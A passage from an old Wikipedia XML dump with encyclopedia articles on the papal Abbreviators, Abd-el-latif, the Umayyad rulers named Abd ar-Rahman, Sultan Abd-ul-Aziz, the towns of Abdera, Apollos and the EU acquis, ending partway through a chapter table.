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      <text xml:space="preserve">'''Abbreviators''', a body of writers in the papal [[chancery]], whose business was to sketch out and prepare in due form the [[papal bull|pope's bulls]], [[Papal brief|brief]]s and [[consistory|consistorial]] decrees before these are written out ''in extenso'' by the ''scriptores''.

They are first mentioned in the [[papal bull]]s ''Extravagantes'' of [[Pope John XXII]] and of [[Pope Benedict XII]]. Their number was fixed at seventy-two by [[Pope Sixtus IV]]. From the time of [[Pope Benedict XII]] ([[1334]]-[[1342]]) they were classed as ''de Parco majori'' or ''Praesidentiae majoris'', and ''de Parco minori''. The name was derived from a space in the chancery, surrounded by a grating, in which the officials sat, which is called higher or lower (major or minor) according to the proximity of the seats to that of the vice-[[chancellor]].

After the [[protonotary|protonotaries]] left the sketching of the minutes to the abbreviators, those ''de Parco majori'', who ranked as [[prelate]]s, were the most important officers of the [[apostolic]] chancery. By the time of [[Pope Martin V]] their signature was made essential to the validity of the acts of the chancery; and they obtained in course of time many important privileges.

They were suppressed in [[1908]] by [[Pope Pius X]] and their duties were transferred to the ''protonotarii apostolici participantes''. (See [[Curia Romana]])


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  <page>
    <title>Abd-el-latif</title>
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      <text xml:space="preserve">'''Abdallatif''', '''Abd-el-latif''' or '''Abd-Ul-Latif''' ([[1162]]-[[1231]]), a celebrated [[physician]] and traveller, and one of the most voluminous writers of the East, was born at [[Baghdad]].

An interesting memoir of Abdallatif, written by himself, has been preserved with additions by [[Ibn Abu-Osaiba]] (Ibn abi Usaibia), a contemporary. From that work we learn that the higher education of the youth of Baghdad consisted principally in a minute and careful study of the rules and principles of [[grammar]], and in their committing to memory the whole of the ''[[Qur'an]]'', a treatise or two on [[philology]] and [[jurisprudence]], and the choicest Arabian poetry.

After attaining to great proficiency in that kind of learning, Abdallatif applied himself to natural philosophy and medicine. To enjoy the society of the learned, he went first to [[Mosul]] ([[1189]]), and afterwards to [[Damascus]]. With letters of recommendation from [[Saladin]]'s [[vizier]], he visited [[Egypt]], where he realized his wish to converse with [[Maimonides]], ''the Eagle of the Doctors''.

He afterwards formed one of the circles of learned men whom Saladin gathered around him at [[Jerusalem]]. He taught [[medicine]] and [[philosophy]] at [[Cairo]] and at Damascus for a number of years, and afterwards, for a shorter period, at [[Aleppo]].

His love of travel led him  to visit different parts of [[Armenia]] and [[Asia Minor]] in his old age. Also, he was in the process of setting out on a pilgrimage to [[Mecca]] when he died at Baghdad.

Abdallatif was undoubtedly a man of great knowledge and of an inquisitive and penetrating mind. Of the numerous works (mostly on medicine) which Osaiba ascribes to him, one only, his graphic and detailed ''Account of Egypt'' (in two parts), appears to be known in [[Europe]]. The manuscript, discovered by [[Edward Pococke]] the [[orientalist]], and preserved in the [[Bodleian Library]], contains a vivid description of a [[famine]] caused, during the author's residence in Egypt, by the [[Nile]] failing to overflow its banks. It was translated into [[Latin language|Latin]] by Professor White of [[University of Oxford|Oxford]] in [[1800]], and into [[French language|French]], with valuable notes, by [[Silvestre de Sacy]] in [[1810]].

{{Wikisource1911Enc|Abdallatif}}
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[[Category:1231 deaths]]

[[ru:Абдул-Латиф]]
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    <title>Abd-ar-rahman</title>
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      <text xml:space="preserve">'''Abd-ar-rahman''', the name borne by five princes of the Umayyad dynasty, amirs and caliphs of Cordova.

*[[Abd-ar-rahman I]], 756-788
*[[Abd-ar-rahman II]], 822-852
*[[Abd-ar-rahman III]], 912-961
*[[Abd-ar-rahman IV]], 1017
*[[Abd-ar-rahman V]], 1023-1024

{{hndis}}

[[ru:Абдаррахман]]</text>
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    <title>Abd ar-Rahman I</title>
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      <text xml:space="preserve">:''For indivduals with the same or similar name, see [[Abd-ar-Rahman]]''

'''Abd ar-Rahman I''' (ruled [[756]]-[[788]]) was the founder of a [[Muslim]] dynasty that ruled [[Spain]] for nearly three centuries. He was a grandson of [[Hisham ibn Abd al-Malik]], the tenth [[Umayyad]] [[Caliph]]. When the [[Umayyads]] were overthrown in the East by the [[Abbasids]] he was a young man of about twenty years of age. Together with his brother Yahya, he took refuge with [[Bedouin]] tribes in the desert. The Abbasids hunted their enemies down without mercy. Their soldiers overtook the brothers; Yahya was slain, and Abd-ar-Rahman saved himself by fleeing first to [[Syria]] and then to northern [[Africa]], the common refuge of all who endeavoured to get beyond the reach of the Abbasids.

In the general confusion of the caliphate produced by the change of dynasty, [[Africa]] had fallen into the hands of local rulers, formerly [[emir]]s or lieutenants of the Umayyad caliphs, but now aiming at independence. After a time Abd ar-Rahman found that his life was threatened, and he fled farther west, taking refuge among the [[Berber]] tribes of [[Mauritania]]. In the midst of all his perils, which read like stories from the ''[[Arabian Nights]]'', Abd-ar-Rahman had been encouraged by reliance on a prophecy of his great-uncle Maslama that he would restore the fortune of the family. He was followed in all his wanderings by a few faithful clients of the Umayyads. 

In [[755]] he was in hiding near [[Ceuta]], and from there he sent an agent over to [[Spain]] to ask for the support of other clients of the family, descendants of the conquerors of Spain, who were numerous in the province of Elvira, the modern [[Granada]]. The country was in a state of confusion under the weak rule of the Emir Yusef, a mere puppet in the hands of a faction, and was torn by tribal dissensions among the [[Arab]]s and by race conflicts between the Arabs and Berbers. It offered Abd ar-Rahman the opportunity he had failed to find in Africa. On the invitation of his partisans he landed at [[Almunecar]], to the east of [[Málaga]], in September 755. 

For a time Abd ar-Rahman was compelled to submit to be guided by his supporters, who were aware of the risks of their venture. Yusef opened negotiations, and offered to give Abd-ar-Rahman one of his daughters in marriage and a grant of land. This was far less than the prince meant to obtain, but he would probably have been forced to accept the offer for want of a better one if the insolence of one of Yusef's messengers, a Spanish renegade, had not outraged a chief partisan of the Umayyad cause. He taunted this gentleman, Obeidullah by name, with being unable to write good [[Arabic language|Arabic]]. Under this provocation Obeidullah drew his sword.  

During [[756]], a campaign was fought in the valley of the [[Guadalquivir]], which ended, on [[May 16]], in the defeat of Yusef outside [[Córdoba, Spain|Córdoba]]. Abd ar-Rahman's army was so ill provided that he mounted almost the only good war-horse in it; he had no banner, and one was improvised by unwinding a green [[turban]] and binding it round the head of a spear. The turban and the spear became the banner of the Spanish Umayyads.  

The long reign of Abd ar-Rahman was spent in a struggle to reduce his anarchical [[Arab]] and [[Berber]] subjects to order. They had never meant to give themselves a master, and they chafed under his hand, which grew continually heavier. In [[763]] he was compelled to fight at the very gate of his capital with rebels acting on behalf of the Abbasids, and had won a signal victory; he cut off the heads of the leaders, filled them with [[salt]] and [[camphor]] and sent them in defiance to the eastern caliph.  

In his final years, Abd ar-Rahman had to contend with a succession of palace conspiracies, which he repressed brutally. Nevertheless, the dynasty he founded secured Umayyad control of Spain until [[1031]].

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      <text xml:space="preserve">:''For indivduals with the same or similar name, see [[Abd-ar-Rahman]]''

'''Abd ar-Rahman II''' ([[Arabic language|Arabic]]: عبد الرحمن الثاني) &amp;lrm; ([[788]]-[[852]]) was an Arab-Spanish ruler. The son of [[Emir]] [[Al-Hakam I]], he became Emir of [[Córdoba, Spain]] in [[822]] and engaged in nearly continuous warfare against [[Alfonso II of Asturias]], whose southward advance he halted ([[822]]-[[842]]). In [[837]] he suppressed a revolt of [[Christians]] and [[Jew]]s in [[Toledo, Spain|Toledo]] and repulsed an assault by [[Scandinavia]]n sea rovers in [[844]], and afterwards constructed a fleet and naval [[arsenal]] at [[Seville]] to repel future raids. Famous for his public building program in Córdoba, he died there in 852. A vigorous and effective frontier warrior, he was also well-known as a patron of the arts.  He was also involved in the execution of [[Christians]] who blasphemed the name of [[Allah]].  Those killed are known as the [[Martyrs of Cordoba]].


{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot; | Preceded by:&lt;br /&gt;'''[[al-Hakam I]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Umayyad|Umayyad Leader]]'''
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot; | Succeeded by:&lt;br /&gt;'''[[Muhammad I of Umayyad|Muhammad I]]'''
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Emir of Cordoba]]'''
|}

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[[Category:Umayyad caliphs of Cordoba]]
[[Category:History of Spain]]
[[Category:788 births]]
[[Category:852 deaths]]
 
[[de:Abd_ar-Rahman_II.]]
[[es:Abderramán_II]]
[[pt:Abderramão II]]
[[sv:Abd ar-Rahman II]]</text>
    </revision>
  </page>
  <page>
    <title>Abd-ar-Rahman III</title>
    <id>2678</id>
    <revision>
      <id>40006417</id>
      <timestamp>2006-02-17T13:07:15Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Slav]] to [[Slavic peoples]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">:''For indivduals with the same or similar name, see [[Abd-ar-Rahman]]''

'''Abd-ar-Rahman III, ([[Arabic language|Arabic]]: '''عبد الرحمن الثالث ''')  ''' [[Emir of Cordoba|Emir]] and [[Caliph of Cordoba]] ([[912]]-[[961]]) was the greatest and most successful of the princes of the [[Ummayads|Ummayad]] dynasty in [[Spain]]. He ascended the throne when he was barely twenty-two and reigned for half a century. His life was so completely identified with the government of the state that he offers less material for biography than his ancestor [[Abd-ar-Rahman I]]. Abd-ar-Rahman III was the grandson of his predecessor, [[Abdallah ibn Muhammad|Abdullah]], one of the [[Spain|Spanish]] Umayyads.

Abd-ar-Rahman came to the throne when the country was exhausted by more than a generation of tribal conflict among the [[Arabs]], and of strife between them and the Muslims of native Spanish descent. Spaniards who were openly or secretly [[Christianity|Christians]] had acted with the [[renegade]]s. These elements, which formed the bulk of the population, were not averse from supporting a strong ruler who would protect them against the Arab [[aristocracy]]. These restless nobles were the most serious of Abd-ar-Rahman's enemies. Next to them came the [[Fatimids]] of [[Egypt]] and northern [[Africa]], who claimed the [[caliphate]] based on descent from the Prophet [[Muhammad]], and who aimed at extending their rule over the [[Muslim]] world. Abd-ar-Rahman subdued the nobles by means of a mercenary army consisting of [[Slavic peoples|Slav]]s.  

He repelled the Fatimids, partly by supporting their enemies in [[Africa]], and partly by claiming the caliphate for himself. In the [[10th century]] Abd-ar-rahman III declared himself as the Caliphate of Cordoba, effectively breaking all ties with the [[History of early Arab Egypt|Egyptian]] and [[History of Syria|Syrian]] caliphs. His ancestors in [[Spain]] had been content with the title of [[sultan]]. The caliphate was thought only to belong to the prince who ruled over the sacred cities of [[Mecca]] and [[Medina]]. But the force of this tradition had been so far weakened that Abd-ar-Rahman could proclaim himself caliph on [[January 16]], [[929]], and the assumption of the title gave him increased prestige with his subjects, both in [[Spain]] and Africa. 

After he was defeated by the Christians at [[Alhandega]] in [[939]] through the treason of the Arab nobles in his army (see [[History of Spain]]) he never again took the field.

{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot; | Preceded by:&lt;br /&gt;'''[[Abdallah ibn Muhammad|Abdallah]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Umayyad|Umayyad Leader]]'''
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;3&quot; | Succeeded by:&lt;br /&gt;'''[[al-Hakam II]]'''
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Emir of Cordoba]]'''
|-
| width=&quot;30%&quot; align=&quot;center&quot; | '''&amp;mdash;'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Caliph of Cordoba]]'''
|}

{{Wikisource1911Enc|Abd-ar-Rahman III}}
{{1911}}

[[Category:Umayyad caliphs of Cordoba]]
[[Category:History of Spain]]
[[Category:912 births|Abd-ar-Rahman III]]
[[Category:961 deaths|Abd-ar-Rahman III]]

[[ca:Abd al-Rahman III]]
[[de:Abd ar-Rahman III.]]
[[es:Abderramán III]]
[[fr:Abd al-Rahman III]]
[[pt:Abderramão III]]
[[sv:Abd ar-Rahman III]]
[[zh:阿卜杜勒·拉赫曼三世]]</text>
    </revision>
  </page>
  <page>
    <title>Abd ar-Rahman IV</title>
    <id>2679</id>
    <revision>
      <id>32221817</id>
      <timestamp>2005-12-21T10:18:38Z</timestamp>
      <contributor>
        <username>Mustaqbal</username>
        <id>691745</id>
      </contributor>
      <minor />
      <comment>+ar</comment>
      <text xml:space="preserve">:''For indivduals with the same or similar name, see [[Abd-ar-Rahman]]''

'''Abd ar-Rahman IV Mortada''' ('''عبدالرحمن''') was the [[Caliph of Cordoba]] in the [[Umayyad]] dynasty in [[Spain]], succeeding [[Suleiman II]], in [[1017]]. That same year, he was murdered at [[Cadiz]] while fleeing from a battle in which he had been deserted by the very supporters which had brought him into power. His brief reign was similar to that of [[Abd ar-Rahman V|Abd ar-Rahman V Mostadir]].

{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot; | Preceded by:&lt;br /&gt;'''[[Suleiman II of Umayyad|Suleiman II]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Umayyad|Umayyad Leader]]'''
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot; | Succeeded by:&lt;br /&gt;'''[[Abd-ar-Rahman V|Abd Ar-Rahman V]]'''
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Caliph of Cordoba]]'''
|}
{{royal-stub}}

[[Category:Umayyad caliphs of Cordoba]]
[[Category:History of Spain]]
[[Category:1017 deaths|Abd ar-Rahman IV]]

[[de:Abd ar-Rahman IV.]]
[[sv:Abd ar-Rahman IV]]</text>
    </revision>
  </page>
  <page>
    <title>Abd ar-Rahman V</title>
    <id>2680</id>
    <revision>
      <id>37477799</id>
      <timestamp>2006-01-31T05:52:41Z</timestamp>
      <contributor>
        <username>Wilis.azm</username>
        <id>843798</id>
      </contributor>
      <text xml:space="preserve">:''For individuals with the same or similar name, see [[Abd-ar-Rahman]]''

({{lang-ar|عبد الرحمن الخامس}})
In the agony of the [[Umayyad]] dynasty in [[Spain]], two princes of the house were proclaimed [[Caliph of Cordoba]] for a very short time, '''[[Abd-ar-Rahman IV]]''' Mortada ([[1017]]), and '''Abd-ar-Rahman V''' Mostadir ([[1023]]-[[1024]]). Both were the mere puppets of factions, who deserted them at once. Abd-ar-Rahman IV was murdered the same year he was proclaimed at [[Cadiz]], in flight from a battle in which he had been deserted by his supporters. Abd-ar-Rahman V was proclaimed caliph in December [[1023]] at [[Córdoba, Spain|Córdoba]], and murdered in January [[1024]] by a mob of unemployed workmen, headed by one of his own cousins.

{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot; | Preceded by:&lt;br /&gt;'''[[Abd-ar-Rahman IV|Abd ar-rahman IV]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Umayyad|Umayyad Leader]]'''
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot; | Succeeded by:&lt;br /&gt;'''[[Muhammad III of Umayyad|Muhammad III]]'''
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Caliph of Cordoba]]'''
|}

[[Category:Umayyad caliphs of Cordoba]]
[[Category:History of Spain]]

[[de:Abd ar-Rahman V.]]
[[sv:Abd ar-Rahman V]]</text>
    </revision>
  </page>
  <page>
    <title>Abd-ul-Aziz</title>
    <id>2681</id>
    <revision>
      <id>41635342</id>
      <timestamp>2006-02-28T18:07:32Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: ar</comment>
      <text xml:space="preserve">[[Image:Sultan abd-ul-aziz.jpg|thumb|Sultan Abd-ul-Aziz]]

'''Abd-ul-aziz''' ([[Arabic language|Arabic]]: عبد العزيز ) ([[February 9]], [[1830]] &amp;ndash; [[1876]]) was the [[sultan]] of the [[Ottoman Empire]] from [[1861]] to [[May 30]], [[1876]]. He was the son of Sultan [[Mahmud II]] and succeeded his brother [[Abd-ul-Mejid]] in [[1861]]. 

His personal interference in government affairs was not very marked, and extended to little more than taking astute advantage of the constant issue of state loans during his reign to acquire wealth, which was squandered in building useless palaces and in other futile ways: he is even said to have profited, by means of ''bear'' sales, from the default on the Turkish debt in [[1875]] and the consequent fall in prices.

Another source of revenue was afforded by [[Ismail Pasha]], the ''[[khedive]]'' of [[Egypt]], who paid heavily in ''bakshish'' for the ''firman'' of [[1866]], by which the succession to the khedivate was made [[hereditary]] from father to son in direct line and in order of [[primogeniture]], as well as for the subsequent ''firmans'' of [[1867]], [[1869]] and [[1872]] extending the ''khedive'''s prerogatives. It is, however, only fair to add that the sultan was doubtless influenced by the desire to bring about a similar change in the succession to the Ottoman throne and to ensure the succession after him of his eldest son, [[Yussuf Izz-ed-din]].  

Abd-ul-Aziz visited Western [[Europe]] in [[1867]], being the first Ottoman sultan to do so, including a visit to England, where he was made a [[Knight of the Garter]] by [[Victoria of the United Kingdom|Queen Victoria]] and shown a [[Fleet Review, Royal Navy#Queen Victoria|Royal Navy Fleet Review]] with his [[Ismail of Egypt|Khedive of Egypt]]. He travelled by private rail car, which today can be found in the [[RMK Museum]] in [[Istanbul]]. In [[1869]] he received visits from [[Empress Eugenie]] of [[France]] and other foreign monarchs on their way to the opening of the [[Suez Canal]]. The future [[Edward VII of the United Kingdom]], while [[Prince of Wales]], twice visited [[Istanbul]].

The misgovernment and financial straits of the country brought on the outbreak of [[Muslim]] discontent and [[fanaticism]] which eventually culminated in the murder of two [[consul]]s at [[Salonica]] and in the &quot;[[Bulgarian]] atrocities&quot;, and cost Abd-ul-Aziz his throne. His deposition on [[May 30]], [[1876]] was hailed with joy throughout Turkey; a fortnight later he was found dead in the palace where he had been confined, and trustworthy medical evidence attributed his death to [[suicide]] although many people believed he was murdered by a conspiracy.

Seven children survived him:
# Prince Yussuf Izz-ed-din (b. [[1857]])
# Princess Salina, wife of Kurd Ismail Pasha
# Princess Nazime, wife of Khalid Pasha
# Prince [[Abdul Mejid II]] (b. [[May 29]], [[1868]])
# Prince Self-ed-din (b. [[1876]])
# Princess Emine, wife of Mahommed Bey
# Prince Shefket, ([[1872]]&amp;ndash;[[1899]])

{{Wikisource1911Enc|Abd-ul-Aziz}}
{{1911}}


[[Category:1830 births]]
[[Category:1876 deaths]]
[[Category:Sultans of the Ottoman Empire]]
[[Category:Knights of the Garter]]

{{start box}}
{{succession box|title=[[Ottoman Sultan]]|before=[[Abd-ul-Mejid I]]|after=[[Murad V]]|years=1861&amp;ndash;1876}}

[[ar:عبدالعزيز الأول]]
[[bg:Абдул Азис]]
[[de:Abdülaziz]]
[[eo:Abd-ul-Aziz]]
[[hr:Abdul Aziz]]
[[id:Abd-ul-Aziz]]
[[hu:Abdul-Aziz]]
[[nl:Abdülaziz]]
[[ja:アブデュルアズィズ]]
[[pl:Abd-ul-Aziz]]
[[ru:Абдул-Азиз]]
[[sv:Abd ül-Aziz]]
[[tr:Abdülaziz]]</text>
    </revision>
  </page>
  <page>
    <title>Abd-el-Kader</title>
    <id>2682</id>
    <revision>
      <id>15901077</id>
      <timestamp>2005-01-29T15:04:20Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>#REDIRECT [[Abd al-Qadir]]</comment>
      <text xml:space="preserve">#REDIRECT [[Abd al-Qadir]]</text>
    </revision>
  </page>
  <page>
    <title>Abd-el-Aziz IV</title>
    <id>2683</id>
    <revision>
      <id>25225088</id>
      <timestamp>2005-10-10T21:01:34Z</timestamp>
      <contributor>
        <username>Fornadan</username>
        <id>126105</id>
      </contributor>
      <text xml:space="preserve">#redirect[[Abdelaziz of Morocco]]</text>
    </revision>
  </page>
  <page>
    <title>Abdera, Spain</title>
    <id>2684</id>
    <revision>
      <id>37380393</id>
      <timestamp>2006-01-30T17:23:35Z</timestamp>
      <contributor>
        <username>Pschemp</username>
        <id>110252</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">'''Abdera''' was an ancient seaport town on the south coast of [[Spain]], between [[Malaca]] (now [[Málaga]]) and [[Carthago Nova]] (now [[Cartagena, Spain|Cartagena]]), in the district inhabited by the [[Bastuli]].

It was founded by the [[Carthage|Carthaginians]] as a trading station, and after a period of decline became under the Romans one of the more important towns in the province of [[Hispania Baetica]]. It was situated on a hill above the modern [[Adra]].

Of its coins the most ancient bear the [[Phoenicia|Phoenician]] inscription ''abdrt'' with the head of [[Heracles]] (Melkarth) and a [[tuna|tunny-fish]]; those of [[Tiberius]] (who seems to have made the place a colony) show the chief temple of the town with two tunny-fish erect in the form of columns.

==References==
{{1911}}


[[Category:Archaeological sites in Spain]]
[[Category:Municipalities in Spain]][[Category:Phoenician colonies]]</text>
    </revision>
  </page>
  <page>
    <title>Abdera, Thrace</title>
    <id>2685</id>
    <revision>
      <id>40402754</id>
      <timestamp>2006-02-20T08:04:06Z</timestamp>
      <contributor>
        <username>Ruszewski</username>
        <id>99414</id>
      </contributor>
      <comment>add Hecataeus</comment>
      <text xml:space="preserve">[[Image:Abderacoin.png|thumb|200 px|right|The chief coin type, with gryphon.]]

'''Abdera''' was a town on the coast of [[Thrace]] near the mouth of the [[Nestos]], and almost opposite [[Thasos]].

Its mythical foundation was attributed to [[Heracles]], its historical to a colony from [[Clazomenae]] in the [[7th century BC]]. But its prosperity dates from [[544 BC]], when the majority of the people of [[Teos]] migrated to Abdera after the [[Ionian Revolt]] to escape the [[Iran|Persia]]n yoke ([[Herodotus]] i.168); the chief coin type, a ''gryphon'', is identical with that of Teos; the coinage is noted for the beauty and variety of its reverse types.

The town seems to have declined in importance after the middle of the [[4th century BC]]. The air of Abdera was proverbial as causing stupidity; but among its citizens was the philosopher [[Democritus]], [Protagoras]] and [[Hecataeus of Abdera]] historian and Sceptic philosopher. The ruins of the town may still be seen on [[Cape Balastra]]; they cover seven small hills, and extend from an eastern to a western harbour; on the southwestern hills are the remains of the medieval settlement of [[Polystylon]]. The city was a member of the [[Delian League]].

Abdera is a [[titular see]] in the province of [[Rhodope]] on the southern coast of Thrace, now called [[Bouloustra]]. 

{{Wikisource1911Enc|Abdera}}

{{1911}}

{{Catholic}}

==External links==
*http://www.culture.gr/2/21/211/21119a/e211sa05.html (English)
*http://www.avdera.gr/ (Greek)

[[Category:Titular Sees]]

[[da:Abdera, Thrakien]]
[[de:Abdera]]
[[el:Άβδηρα]]
[[es:Abdera]]
[[fr:Abdère (ville)]]
[[gl:Abdera]]
[[ko:압데라]]
[[he:אבדרה]]
[[nl:Abdera]]
[[pl:Abdera]]
[[ro:Abdera, Tracia]]
[[ru:Абдеры]]
[[sv:Abdera]]</text>
    </revision>
  </page>
  <page>
    <title>Apollos</title>
    <id>2686</id>
    <revision>
      <id>36464846</id>
      <timestamp>2006-01-24T05:25:30Z</timestamp>
      <contributor>
        <username>Alvestrand</username>
        <id>50958</id>
      </contributor>
      <text xml:space="preserve">'''Apollos''' (&amp;Alpha;&amp;pi;&amp;omicron;&amp;lambda;&amp;lambda;&amp;omega;&amp;sigmaf;; contracted from Apollonius) was an early [[Christianity|Christian]], who is mentioned several times in the [[New Testament]]. His special gifts in presenting Christian doctrine made him an important person in the congregation at [[Corinth, Greece]] after Paul's first visit there ([[1 Corinthians]] 3:6).  He was with Paul at a later date in Ephesus (1 Cor. 16:12).  In 1 Cor. 1:10-12 we read of four parties in the Corinthian church, of which two attached themselves to Paul and Apollos respectively, using their names, though the &quot;division&quot; can hardly have been due to conflicting doctrines, and there is no indication that Apollonius favored or approved an overestimation of his person.

[[Paul of Tarsus|Paul]] considered Apollos to be a valuable helper in carrying on his work in the important Corinthian congregation (1 Cor. 3:6, 4:6, 16:12).  In harmony with Paul's notices are the statements of the [[Acts of the Apostles]] (18:24-28) that Apollos was a highly educated [[Alexandria]]n [[Jew]], who came to [[Ephesus]] (probably in [[54]]), was instructed more accurately in the gospel there by [[Aquila (bible)|Aquila]] and [[Priscilla_%28Christian%29|Priscilla]] and afterwards settled in [[Achaia]], where he showed himself useful to the Church by speaking and teaching with power and success.

It is difficult to get a correct idea of his religious standpoint; but it probably was that of the so-called disciples of [[John the Baptist]] (Acts 19:1-7). Taken all in all, it may be said that Apollos was a zealous missionary, who, while confessing [[Jesus]], did not have the full New Testament revelation, and stood in danger of becoming antagonistic to the apostolic message to all the world; he became, however, an adherent of the Pauline doctrine, and the author of the Acts of the Apostles thought this fact of sufficient importance to be included in his history. In the [[Epistle to Titus]] (3:13) Apollos is mentioned, with [[Zenas]], as bearer of the letter to Crete. 

Apollos may have captivated his hearers by teaching &quot;wisdom,&quot; as P. W. Schmiedel suggests, in the allegorical style of Philo, and he was evidently a man of unusual magnetic force. There seems to be some contradiction between Acts 18:25 ''a b'' and Acts 18:25 ''c'', 26 ''b c''; and it has been suggested that these latter passages are subsequent accretions. Since Apollos was a Christian and &quot;taught exactly,&quot; he could hardly have been acquainted only with John's baptism or have required to be taught Christianity more thoroughly by Aquila and Priscilla.

[[Martin Luther (religious leader)|Martin Luther]] regarded Apollos as the author of the [[Epistle to the Hebrews]], and many scholars since have shared his view. 

Jerome says that Apollos was so dissatisfied with the division at Corinth, that he retired into Crete with [[Zenas]], a doctor of the law; and that the schism having been healed by Paul's letter to the Corinthians, Apollos returned to the city, and became its bishop. Less probable traditions assign to him the bishopric of Duras, or of Iconium in Phrygia, or of Caesarea. 

== References ==

* Articles in the ''Encyclopaedia Biblica''; Herzog-Hauck, ''Realencyklopadie''; ''The Jewish Encyclopaedia''; Hastings' ''Dictionary of the Bible''. 
* Weizsäcker, ''Das apostolische Zeitalter''
* A. C. McGiffert, ''History of Christianity in the Apostolic Age''. 
* ''Initial text from Schaff-Herzog Encyclopedia of Religion''
* {{1911}}

[[Category:Ancient Roman Christianity]]

[[de:Apollos]]
[[eo:Apolo (Biblio)]]
[[ia:Apollos]]
[[nl:Apollos]]
[[sv:Apollos]]</text>
    </revision>
  </page>
  <page>
    <title>Acquis</title>
    <id>2687</id>
    <revision>
      <id>40212293</id>
      <timestamp>2006-02-19T00:11:34Z</timestamp>
      <contributor>
        <username>Pap3rinik</username>
        <id>356530</id>
      </contributor>
      <minor />
      <comment>+it.wikilink</comment>
      <text xml:space="preserve">{{Legislation of the European Union}}The [[French language|French]]  term '''''acquis''''' (or sometimes '''''acquis communautaire''''')  is used in [[European Union law]] to refer to the total body of EU law accumulated so far. The term is also used to describe laws adopted under the [[Schengen treaty]], prior to its integration into the European Union legal order by the [[Treaty of Amsterdam]], in which case one speaks of the ''Schengen acquis''.

==Chapters of the Acquis==
During the process of the [[enlargement of the European Union]], the acquis was divided into 31 chapters for the purpose of negotiation between the EU and the candidate member states for the fifth enlargement (the ten that joined in 2004 plus [[Romania]] and [[Bulgaria]]). These chapters were:

{|
|-
|
#Free movement of goods
#Free movement of persons
#Freedom to provide services
#Free movement of capital
#Company law
#Competition policy
#Agriculture
#[[Fishery|Fisheries]]
#Transport policy
#Taxation
#[[Economic and Monetary Union of the European Union|Economic and Monetary Union]]
#Statistics
#Social policy and employment
#Energy
#Industrial policy
#Small and medium-sized enterprises
| valign=top|&lt;ol start=17&gt;
&lt;li&gt;Science and research
&lt;li&gt;Education and training
&lt;li&gt;Telecommunication and information technologies
&lt;li&gt;Culture and audio-visual policy
&lt;li&gt;[[Regional policy]] and coordination of structural instruments
&lt;li&gt;Environment
&lt;li&gt;Consumers and health protection
&lt;li&gt;Cooperation in the field of [[Justice and Home Affairs]]
&lt;li&gt;[[Customs union]]
&lt;li&gt;External relations
&lt;li&gt;[[Common Foreign and Security Policy]] (CFSP)
&lt;li&gt;Financial control
&lt;li&gt;Financial and budgetary provisions
&lt;li&gt;Institutions
&lt;li&gt;Others
&lt;/ol&gt;
|}

For the negotiations with [[Croatia]] and [[Turkey]], the acquis was split up into 35 chapters instead, with the purpose of better balancing between the chapters: dividing the most difficult ones into separate chapters for easier negotiation, uniting some easier chapters, moving some policies between chapters, as well as renaming a few of them in the process:

#Free movement of goods
#[[Freedom of movement for workers]]
#Right of establishment and freedom to provide services
#Free movement of capital
#Public procurement
#Company law
#Intellectual property law
#Competition policy
#Financial services
#Information society and media
#Agriculture and rural development
#Food safety, veterinary and phytosanitary policy
#Fisheries
#Transport policy
#Energy
#Taxation
#Economic and monetary policy
#Statistics
#Social policy and employment (including anti-discrimination and equal opportunities for women and men)
#Enterprise and industrial policy
#Trans-European networks
#Regional policy and coordination of structural instruments
#Judiciary and fundamental rights
#Justice, freedom and security
#Science and research
#Education and culture
#Environment
#Consumer and health protection
#Customs union
#External relations
#Foreign, security and defence policy
#Financial control
#Financial and budgetary provisions
#Institutions
#Other issues

Correspondance between chapters of the 5th and the 6th Enlargement:&lt;br&gt;

&lt;table border=0 cellpadding=3&gt;
&lt;tr&gt;
&lt;th&gt;5th Enlargement&lt;/th&gt;
&lt;th&gt;6th Enlargement&lt;/th&gt;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=2 valign=middle&gt;1. Free movement of goods&lt;td&gt;1. Free movement of goods&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;7. Intellectual property law&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=2 valign=middle&gt;2. Free movement of persons&lt;td&gt;2. Freedom of movement for workers&amp;nbsp;
&lt;tr bgcolor=#efefef&gt;
&lt;td&gt;3. &lt;b&gt;Right of establishment&lt;/b&gt; and freedom to provide services&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=2 valign=middle&gt;3. Freedom to provide services&lt;td&gt;3. Right of establishment and &lt;b&gt;freedom to provide services&lt;/b&gt;&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;9. Financial services&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
